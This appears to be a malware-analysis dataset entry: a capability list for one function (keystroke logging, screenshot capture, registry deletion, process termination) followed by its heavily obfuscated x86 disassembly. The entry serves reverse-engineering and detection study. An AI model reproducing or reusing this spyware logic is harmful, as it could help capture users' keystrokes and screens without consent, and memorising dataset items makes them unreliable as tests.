Function at 0x1002ddd1
Capabilities:
Accept command line arguments
Allocate thread local storage
Capture screenshot
Clear file content
Create pipe
Delete registry key
Get file attributes
Get memory capacity
Get session user name
Log keystrokes via polling
Query environment variable
Terminate process

Disassembly:
mov eax, 0x10080876
call fcn.10080228
sub esp, 0xff4
mov dword [ebp - 0x3c], 0xb4ffb87
or eax, 0xffffffff
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebx
mov dword [ebp - 0x18], 0xfc4f27d2
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FindClose]
mov byte [ebp - 0x49], al
push edi
mov byte [ebp - 0x7d], dl
mov dword [ebp - 0x58], ecx
cmp byte [ebp - 0x49], al
je 0x1002de13
push eax
call esi
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_GetMessageTime]
push 1
pop edi
cmp dword [ebp - 0x3c], eax
je 0x1002de9d
mov dword [ebp - 0x38], 0xdba3
mov dword [ebp - 0x48], 0xbd085c9e
inc dword [ebp - 0x38]
mov dword [ebp - 0x38], 0xa
cmp dword [ebp - 0x38], 0x38
jne 0x1002dfff
mov dword [ebp - 0x34], 0x50315362
mov dword [ebp - 0x20], 0x7e2f9d44
mov dword [ebp - 0x40], 0x2f144811
inc dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x1002de6f
mov ecx, eax
cmp dword [ebp - 0x38], eax
je 0x1002de71
mov ecx, edi
mov eax, dword [ebp - 0x38]
xor edx, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
add eax, ecx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setl dl
mov dword [ebp - 0x48], edx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x38
je 0x1002de43
jmp 0x1002dffd
mov dword [ebp - 0x50], 0xb6bd0d4
mov dword [ebp - 0x1c], 0xffffffec
cmp dword [ebp - 0x1c], 0xfffffff7
jle 0x1002df76
mov dword [ebp - 0x24], 0x3cd0cd8a
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002dedd
push 0x2cd
push eax
push 0x194a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
mov eax, dword [ebp - 0x50]
xor edx, edx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x50]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
sub ecx, 0x7527
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x3c]
inc ecx
je 0x1002df14
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, edi
setle dl
xor ecx, ecx
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x50]
cmp edx, eax
mov eax, dword [ebp - 0x24]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
imul eax, ecx, 0xbd28
sub eax, dword [ebp - 0x24]
jne 0x1002df54
mov edx, eax
cmp dword [ebp - 0x1c], eax
je 0x1002df56
mov edx, edi
mov eax, dword [ebp - 0x50]
xor ecx, ecx
sub eax, 3
cmp eax, edx
push 0
setle cl
mov dword [ebp - 0x18], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff7
pop eax
jg 0x1002deb5
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002df89
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x50]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x50]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
imul eax, ecx, 0x1799
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x50]
jl 0x1002dff4
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002dfd2
call ebx
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002dffd
push 0x1019
push 0x1b58
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
jmp 0x1002dffd
or eax, 0xffffffff
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x3c], 0xb4ffb87
or ecx, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], 0xfc4f27d2
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e021
push eax
call esi
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002e0a2
mov dword [ebp - 0x38], 0xdba3
mov dword [ebp - 0x48], 0xbd085c9e
inc dword [ebp - 0x38]
mov dword [ebp - 0x38], 0xa
cmp dword [ebp - 0x38], 0x38
jne 0x1002e204
mov dword [ebp - 0x34], 0x50315362
mov dword [ebp - 0x20], 0x7e2f9d44
mov dword [ebp - 0x40], 0x2f144811
inc dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x1002e074
mov ecx, eax
cmp dword [ebp - 0x38], eax
je 0x1002e076
mov ecx, edi
mov eax, dword [ebp - 0x38]
xor edx, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
add eax, ecx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setl dl
mov dword [ebp - 0x48], edx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x38
je 0x1002e048
jmp 0x1002e202
mov dword [ebp - 0x50], 0xb6bd0d4
mov dword [ebp - 0x1c], 0xffffffec
cmp dword [ebp - 0x1c], 0xfffffff7
jle 0x1002e17b
mov dword [ebp - 0x24], 0x3cd0cd8a
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e0e2
push 0x2cd
push eax
push 0x194a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
mov eax, dword [ebp - 0x50]
xor edx, edx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x50]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
sub ecx, 0x7527
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x3c]
inc ecx
je 0x1002e119
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, edi
setle dl
xor ecx, ecx
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x50]
cmp edx, eax
mov eax, dword [ebp - 0x24]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
imul eax, ecx, 0xbd28
sub eax, dword [ebp - 0x24]
jne 0x1002e159
mov edx, eax
cmp dword [ebp - 0x1c], eax
je 0x1002e15b
mov edx, edi
mov eax, dword [ebp - 0x50]
xor ecx, ecx
sub eax, 3
cmp eax, edx
push 0
setle cl
mov dword [ebp - 0x18], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff7
pop eax
jg 0x1002e0ba
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002e18e
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x50]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x50]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
imul eax, ecx, 0x1799
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x50]
jl 0x1002e1f9
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002e1d7
call ebx
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e202
push 0x1019
push 0x1b58
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
jmp 0x1002e202
or eax, 0xffffffff
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x28], 0xbe8e56f9
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x1002e22d
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x67c], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x1002e214
xor eax, eax
mov dword [ebp - 0x28], edi
push 0xfffffffffffffffc
pop edx
cmp dword [ebp - 0x28], eax
jl 0x1002e345
mov dword [ebp - 0x40], 0x60a22152
mov dword [ebp - 0x24], eax
jmp 0x1002e259
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x30c], 0x8e10e5e5
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002e248
mov eax, dword [ebp - 0x28]
xor esi, esi
cmp dword [ebp + eax*4 - 0x67c], esi
je 0x1002e2a2
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002e28d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0xfffffffffffffffc
pop edx
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x67c], esi
jne 0x1002e33d
jmp 0x1002e331
mov dword [ebp - 0x3c], esi
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, eax
mov eax, dword [ebp - 0x40]
dec eax
add eax, ecx
cmp eax, 0xdae5a60d
jae 0x1002e2fb
mov dword [ebp - 0x34], 0x426a7609
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
cmp edx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x30c], eax
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002e327
push 0x2045
push eax
push eax
push eax
push 0x116a
push eax
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
jmp 0x1002e324
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x1002e30b
mov dword [ebp - 0x30c], eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], edi
jle 0x1002e302
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002e327
push 0x1acc
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xfffffffffffffffc
pop edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x67c]
dec dword [ebp - 0x28]
push 0
pop eax
jns 0x1002e23c
mov esi, dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
mov dword [ebp - 0x3c], 0xb4ffb87
or ecx, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], 0xfc4f27d2
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e367
push eax
call esi
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002e3e8
mov dword [ebp - 0x38], 0xdba3
mov dword [ebp - 0x48], 0xbd085c9e
inc dword [ebp - 0x38]
mov dword [ebp - 0x38], 0xa
cmp dword [ebp - 0x38], 0x38
jne 0x1002e54a
mov dword [ebp - 0x34], 0x50315362
mov dword [ebp - 0x20], 0x7e2f9d44
mov dword [ebp - 0x40], 0x2f144811
inc dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x1002e3ba
mov ecx, eax
cmp dword [ebp - 0x38], eax
je 0x1002e3bc
mov ecx, edi
mov eax, dword [ebp - 0x38]
xor edx, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
add eax, ecx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setl dl
mov dword [ebp - 0x48], edx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x38
je 0x1002e38e
jmp 0x1002e548
mov dword [ebp - 0x50], 0xb6bd0d4
mov dword [ebp - 0x1c], 0xffffffec
cmp dword [ebp - 0x1c], 0xfffffff7
jle 0x1002e4c1
mov dword [ebp - 0x24], 0x3cd0cd8a
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e428
push 0x2cd
push eax
push 0x194a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
mov eax, dword [ebp - 0x50]
xor edx, edx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x50]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
sub ecx, 0x7527
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x3c]
inc ecx
je 0x1002e45f
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, edi
setle dl
xor ecx, ecx
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x50]
cmp edx, eax
mov eax, dword [ebp - 0x24]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
imul eax, ecx, 0xbd28
sub eax, dword [ebp - 0x24]
jne 0x1002e49f
mov edx, eax
cmp dword [ebp - 0x1c], eax
je 0x1002e4a1
mov edx, edi
mov eax, dword [ebp - 0x50]
xor ecx, ecx
sub eax, 3
cmp eax, edx
push 0
setle cl
mov dword [ebp - 0x18], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff7
pop eax
jg 0x1002e400
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002e4d4
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x50]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x50]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
imul eax, ecx, 0x1799
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x50]
jl 0x1002e53f
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002e51d
call ebx
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e548
push 0x1019
push 0x1b58
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
jmp 0x1002e548
or eax, 0xffffffff
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x1c], eax
or ecx, 0xffffffff
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x40], 0x658a6001
push 3
mov dword [ebp - 0x50], eax
pop ecx
cmp dword [ebp - 0x50], ecx
jge 0x1002e57d
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x694], 0x10c93b4e
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], ecx
jl 0x1002e565
xor eax, eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], edi
jge 0x1002e599
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x650], ecx
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edi
jl 0x1002e585
xor eax, eax
push 2
pop ebx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x1002e664
mov dword [ebp - 0x20], edi
or eax, 0xffffffff
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x694]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x694], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
add edx, ecx
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
cmp eax, ecx
setg dl
mov dword [ebp - 0x24], edx
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x694]
mov dword [ebp - 0x24], eax
mov esi, dword [ebp - 0x24]
mov dword [ebp - 0x650], esi
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov ecx, dword [ebp - 0x694]
mov eax, dword [ebp - 0x1c]
setge dl
add ecx, edx
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x694]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
sub esi, edx
cmp esi, 8
setle cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setg dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x1c]
jns 0x1002e5a8
mov esi, dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
mov dword [ebp - 0x28], 0xbe8e56f9
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002e68b
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x688], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002e673
xor eax, eax
mov dword [ebp - 0x28], edi
cmp dword [ebp - 0x28], eax
jl 0x1002e79d
mov dword [ebp - 0x40], 0x60a22152
mov dword [ebp - 0x24], eax
jmp 0x1002e6b4
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x32c], 0x8e10e5e5
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002e6a3
mov eax, dword [ebp - 0x28]
xor esi, esi
cmp dword [ebp + eax*4 - 0x688], esi
je 0x1002e6fa
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002e6e5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x688], esi
jne 0x1002e795
jmp 0x1002e789
mov dword [ebp - 0x3c], esi
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, eax
mov eax, dword [ebp - 0x40]
dec eax
add eax, ecx
cmp eax, 0xdae5a60d
jae 0x1002e756
mov dword [ebp - 0x34], 0x426a7609
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push 0xfffffffffffffffc
pop ecx
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x32c], eax
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002e77f
push 0x2045
push eax
push eax
push eax
push 0x116a
push eax
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
jmp 0x1002e77f
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x1002e766
mov dword [ebp - 0x32c], eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], edi
jle 0x1002e75d
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002e77f
push 0x1acc
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x688]
dec dword [ebp - 0x28]
push 0
pop eax
jns 0x1002e697
mov esi, dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
mov dword [ebp - 0x24], 0x57976326
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002e7c0
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x69c], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002e7ac
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002e872
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], edi
jge 0x1002e7e7
or ecx, 0xffffffff
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xc0], ecx
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edi
jl 0x1002e7d3
xor eax, eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 4
jge 0x1002e809
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xe48], 0xf6f97812
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 4
jl 0x1002e7f0
xor eax, eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], edi
jg 0x1002e86f
mov eax, dword [ebp - 0xc0]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x69c]
mov eax, dword [ebp - 0x69c]
cmp eax, edi
mov eax, dword [ebp - 0xc0]
setg cl
imul edx, ecx
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x69c]
cmp eax, edx
sete cl
xor eax, eax
mov dword [ebp - 0xe44], ecx
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002e85f
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
inc dword [ebp - 0xc0]
cmp dword [ebp - 0xc0], edi
jle 0x1002e817
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jle 0x1002e7c8
or ecx, 0xffffffff
mov dword [ebp - 0x44], ecx
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e894
push eax
push eax
call dword [sym.imp.USER32.dll_CopyRect]
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e8b7
push 0x2cd
push eax
push 0x194a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x1c], 0x14d2fc5c
mov dword [ebp - 0x2c], 0xbc1552c2
mov dword [ebp - 0x30], 0xe8b7
mov eax, dword [ebp - 0x30]
add eax, 0x7a4a
je 0x1002e8e2
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1002ea8b
mov dword [ebp - 0x3c], 5
mov dword [ebp - 0x28], 0xae5d5ec7
mov dword [ebp - 0x24], 0x55e97312
mov dword [ebp - 0x34], 0x4c0c5dc7
mov dword [ebp - 0x40], 0x92777ef5
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1002e932
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x340], 0xc0e2632c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1002e919
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x1002ea05
mov dword [ebp - 0x40], 0x6340c09c
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x340]
xor eax, eax
cmp dword [ebp - 0x334], eax
je 0x1002e968
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x340], 0
je 0x1002e966
mov eax, edi
jmp 0x1002e968
xor eax, eax
mov dword [ebp - 0x3c], eax
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x334]
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x340]
add eax, dword [ebp - 0x24]
cmp eax, 0xfbde
setne cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x340]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x340]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x340]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov ecx, 0x4d34d7c8
setne dl
imul eax, edx, 0x64cb4235
sub ecx, eax
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add eax, eax
cmp eax, edi
setge cl
mov dword [ebp - 0x40], ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jle 0x1002e93a
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
neg eax
add eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xe0ee4d50
jb 0x1002ea45
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x1c], 0xae77ddba
ja 0x1002ea5d
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x338]
xor edx, edx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setge dl
xor ecx, ecx
sub edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x338]
cmp edx, eax
setge cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
jmp 0x1002eaa0
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002eaa2
push eax
push 0x1777
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor eax, eax
mov dword [ebp - 0x14], 0xb4ffb87
or ecx, 0xffffffff
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
je 0x1002eaed
mov dword [ebp - 0x34], 0x97a8
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002eada
push 0xb0f
push 0xdc8
push eax
call dword [sym.imp.GDI32.dll_OffsetRgn]
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002eae5
inc dword [ebp - 0x34]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x1e
jge 0x1002eadf
jmp 0x1002eb0d
mov dword [ebp - 0x40], 0x987f
mov dword [ebp - 0x54], 0x5efa20bd
mov dword [ebp - 0x34], 0x34d8
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x54], eax
dec dword [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x38], 0xfc4f27d2
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x48], 0x299fa9ef
mov dword [ebp - 0x34], 0xfffffff7
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1002eb47
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x2a4], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1002eb2e
xor eax, eax
mov dword [ebp - 0x28], 0xfffffff6
